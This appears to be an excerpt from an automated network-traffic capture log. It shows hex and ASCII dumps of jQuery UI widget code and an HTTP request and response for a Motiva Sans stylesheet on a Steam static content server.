2024-09-29 00:41:38 UTC	16384	IN	Data Raw: 75 73 65 64 6f 77 6e 20 61 6e 64 20 63 6c 6f 73 65 20 74 68 65 20 6d 65 6e 75 20 69 66 0a 09 09 09 09 2f 2f 20 74 68 65 20 75 73 65 72 20 63 6c 69 63 6b 73 20 73 6f 6d 65 77 68 65 72 65 20 6f 75 74 73 69 64 65 20 6f 66 20 74 68 65 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 0a 09 09 09 09 76 61 72 20 6d 65 6e 75 45 6c 65 6d 65 6e 74 20 3d 20 74 68 69 73 2e 6d 65 6e 75 2e 65 6c 65 6d 65 6e 74 5b 20 30 20 5d 3b 0a 09 09 09 09 69 66 20 28 20 21 24 28 20 65 76 65 6e 74 2e 74 61 72 67 65 74 20 29 2e 63 6c 6f 73 65 73 74 28 20 22 2e 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 22 20 29 2e 6c 65 6e 67 74 68 20 29 20 7b 0a 09 09 09 09 09 74 68 69 73 2e 5f 64 65 6c 61 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 09 09 09 76 61 72 20 74 68 61 74 20 3d 20 74 68 69 73 3b Data Ascii: usedown and close the menu if// the user clicks somewhere outside of the autocompletevar menuElement = this.menu.element[ 0 ];if ( !$( event.target ).closest( ".ui-menu-item" ).length ) {this._delay(function() {var that = this;
2024-09-29 00:41:38 UTC	12506	IN	Data Raw: 62 75 74 74 6f 6e 45 6c 65 6d 65 6e 74 20 3d 20 61 6e 63 65 73 74 6f 72 2e 66 69 6c 74 65 72 28 20 6c 61 62 65 6c 53 65 6c 65 63 74 6f 72 20 29 3b 0a 09 09 09 09 69 66 20 28 20 21 74 68 69 73 2e 62 75 74 74 6f 6e 45 6c 65 6d 65 6e 74 2e 6c 65 6e 67 74 68 20 29 20 7b 0a 09 09 09 09 09 74 68 69 73 2e 62 75 74 74 6f 6e 45 6c 65 6d 65 6e 74 20 3d 20 61 6e 63 65 73 74 6f 72 2e 66 69 6e 64 28 20 6c 61 62 65 6c 53 65 6c 65 63 74 6f 72 20 29 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 09 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 61 64 64 43 6c 61 73 73 28 20 22 75 69 2d 68 65 6c 70 65 72 2d 68 69 64 64 65 6e 2d 61 63 63 65 73 73 69 62 6c 65 22 20 29 3b 0a 0a 09 09 09 63 68 65 63 6b 65 64 20 3d 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 69 73 28 20 22 3a 63 68 65 63 Data Ascii: buttonElement = ancestor.filter( labelSelector );if ( !this.buttonElement.length ) {this.buttonElement = ancestor.find( labelSelector );}}this.element.addClass( "ui-helper-hidden-accessible" );checked = this.element.is( ":chec
2024-09-29 00:41:38 UTC	16384	IN	Data Raw: 65 20 74 6f 20 6e 6f 74 20 73 68 6f 77 20 69 74 0a 09 09 61 75 74 6f 53 69 7a 65 3a 20 66 61 6c 73 65 2c 20 2f 2f 20 54 72 75 65 20 74 6f 20 73 69 7a 65 20 74 68 65 20 69 6e 70 75 74 20 66 6f 72 20 74 68 65 20 64 61 74 65 20 66 6f 72 6d 61 74 2c 20 66 61 6c 73 65 20 74 6f 20 6c 65 61 76 65 20 61 73 20 69 73 0a 09 09 64 69 73 61 62 6c 65 64 3a 20 66 61 6c 73 65 20 2f 2f 20 54 68 65 20 69 6e 69 74 69 61 6c 20 64 69 73 61 62 6c 65 64 20 73 74 61 74 65 0a 09 7d 3b 0a 09 24 2e 65 78 74 65 6e 64 28 74 68 69 73 2e 5f 64 65 66 61 75 6c 74 73 2c 20 74 68 69 73 2e 72 65 67 69 6f 6e 61 6c 5b 22 22 5d 29 3b 0a 09 74 68 69 73 2e 72 65 67 69 6f 6e 61 6c 2e 65 6e 20 3d 20 24 2e 65 78 74 65 6e 64 28 20 74 72 75 65 2c 20 7b 7d 2c 20 74 68 69 73 2e 72 65 67 69 6f 6e 61 6c Data Ascii: e to not show itautoSize: false, // True to size the input for the date format, false to leave as isdisabled: false // The initial disabled state};$.extend(this._defaults, this.regional[""]);this.regional.en = $.extend( true, {}, this.regional
2024-09-29 00:41:38 UTC	16384	IN	Data Raw: 20 24 2e 64 61 74 65 70 69 63 6b 65 72 2e 5f 67 65 74 28 69 6e 73 74 2c 20 22 6f 6e 53 65 6c 65 63 74 22 29 3b 0a 09 09 09 09 09 09 69 66 20 28 6f 6e 53 65 6c 65 63 74 29 20 7b 0a 09 09 09 09 09 09 09 64 61 74 65 53 74 72 20 3d 20 24 2e 64 61 74 65 70 69 63 6b 65 72 2e 5f 66 6f 72 6d 61 74 44 61 74 65 28 69 6e 73 74 29 3b 0a 0a 09 09 09 09 09 09 09 2f 2f 20 74 72 69 67 67 65 72 20 63 75 73 74 6f 6d 20 63 61 6c 6c 62 61 63 6b 0a 09 09 09 09 09 09 09 6f 6e 53 65 6c 65 63 74 2e 61 70 70 6c 79 28 28 69 6e 73 74 2e 69 6e 70 75 74 20 3f 20 69 6e 73 74 2e 69 6e 70 75 74 5b 30 5d 20 3a 20 6e 75 6c 6c 29 2c 20 5b 64 61 74 65 53 74 72 2c 20 69 6e 73 74 5d 29 3b 0a 09 09 09 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 09 09 09 24 2e 64 61 74 65 70 69 63 6b 65 72 Data Ascii: $.datepicker._get(inst, "onSelect");if (onSelect) {dateStr = $.datepicker._formatDate(inst);// trigger custom callbackonSelect.apply((inst.input ? inst.input[0] : null), [dateStr, inst]);} else {$.datepicker
2024-09-29 00:41:38 UTC	16384	IN	Data Raw: 20 6f 66 20 74 68 65 20 77 65 65 6b 20 77 69 74 68 69 6e 20 74 68 65 20 79 65 61 72 20 74 68 61 74 20 63 6f 6e 74 61 69 6e 73 20 74 68 69 73 20 64 61 74 65 0a 09 20 2a 2f 0a 09 69 73 6f 38 36 30 31 57 65 65 6b 3a 20 66 75 6e 63 74 69 6f 6e 28 64 61 74 65 29 20 7b 0a 09 09 76 61 72 20 74 69 6d 65 2c 0a 09 09 09 63 68 65 63 6b 44 61 74 65 20 3d 20 6e 65 77 20 44 61 74 65 28 64 61 74 65 2e 67 65 74 54 69 6d 65 28 29 29 3b 0a 0a 09 09 2f 2f 20 46 69 6e 64 20 54 68 75 72 73 64 61 79 20 6f 66 20 74 68 69 73 20 77 65 65 6b 20 73 74 61 72 74 69 6e 67 20 6f 6e 20 4d 6f 6e 64 61 79 0a 09 09 63 68 65 63 6b 44 61 74 65 2e 73 65 74 44 61 74 65 28 63 68 65 63 6b 44 61 74 65 2e 67 65 74 44 61 74 65 28 29 20 2b 20 34 20 2d 20 28 63 68 65 63 6b 44 61 74 65 2e 67 65 74 44 Data Ascii: of the week within the year that contains this date */iso8601Week: function(date) {var time,checkDate = new Date(date.getTime());// Find Thursday of this week starting on MondaycheckDate.setDate(checkDate.getDate() + 4 - (checkDate.getD

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:41:38 UTC	564	OUT	GET /public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:41:38 UTC	339	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/css;charset=UTF-8 ETag: "Rc2hpzg2Ex3T" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=14946294 Expires: Fri, 21 Mar 2025 00:26:32 GMT Date: Sun, 29 Sep 2024 00:41:38 GMT Content-Length: 2646 Connection: close
2024-09-29 00:41:38 UTC	2646	IN	Data Raw: 2f 2a 0d 0a 20 46 6f 6e 74 3a 20 09 09 4d 6f 74 69 76 61 20 53 61 6e 73 0d 0a 20 55 52 4c 3a 20 09 09 68 74 74 70 3a 2f 2f 77 77 77 2e 79 6f 75 77 6f 72 6b 66 6f 72 74 68 65 6d 2e 63 6f 6d 2f 70 72 6f 64 75 63 74 2e 70 68 70 3f 73 6b 75 3d 54 32 39 38 32 0d 0a 20 46 6f 75 6e 64 72 79 3a 20 09 4e 69 72 61 6d 65 6b 6b 6f 0d 0a 20 46 6f 75 6e 64 72 79 3a 20 09 68 74 74 70 3a 2f 2f 77 77 77 2e 79 6f 75 77 6f 72 6b 66 6f 72 74 68 65 6d 2e 63 6f 6d 2f 64 65 73 69 67 6e 65 72 2f 32 39 33 2f 6e 69 72 61 6d 65 6b 6b 6f 0d 0a 20 43 6f 70 79 72 69 67 68 74 3a 09 43 6f 70 79 72 69 67 68 74 20 20 32 30 31 31 20 62 79 20 52 6f 64 72 69 67 6f 20 53 61 69 61 6e 69 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0d 0a 20 56 65 72 73 69 6f 6e 3a 20 09 31 Data Ascii: /* Font: Motiva Sans URL: http://www.youworkforthem.com/product.php?sku=T2982 Foundry: Niramekko Foundry: http://www.youworkforthem.com/designer/293/niramekko Copyright:Copyright 2011 by Rodrigo Saiani. All rights reserved. Version: 1